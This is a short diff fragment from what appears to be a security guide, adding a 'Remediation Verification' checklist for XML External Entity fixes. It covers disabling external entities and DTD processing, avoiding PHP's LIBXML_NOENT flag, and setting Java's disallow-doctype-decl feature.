+ ## Remediation Verification
126
+ When verifying fixes, confirm:
127
+ - External entity processing is disabled in XML parser
128
+ - DTD processing is disabled or restricted
129
+ - `LIBXML_NOENT` flag is NOT used (PHP)
130
+ - `DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` (Java)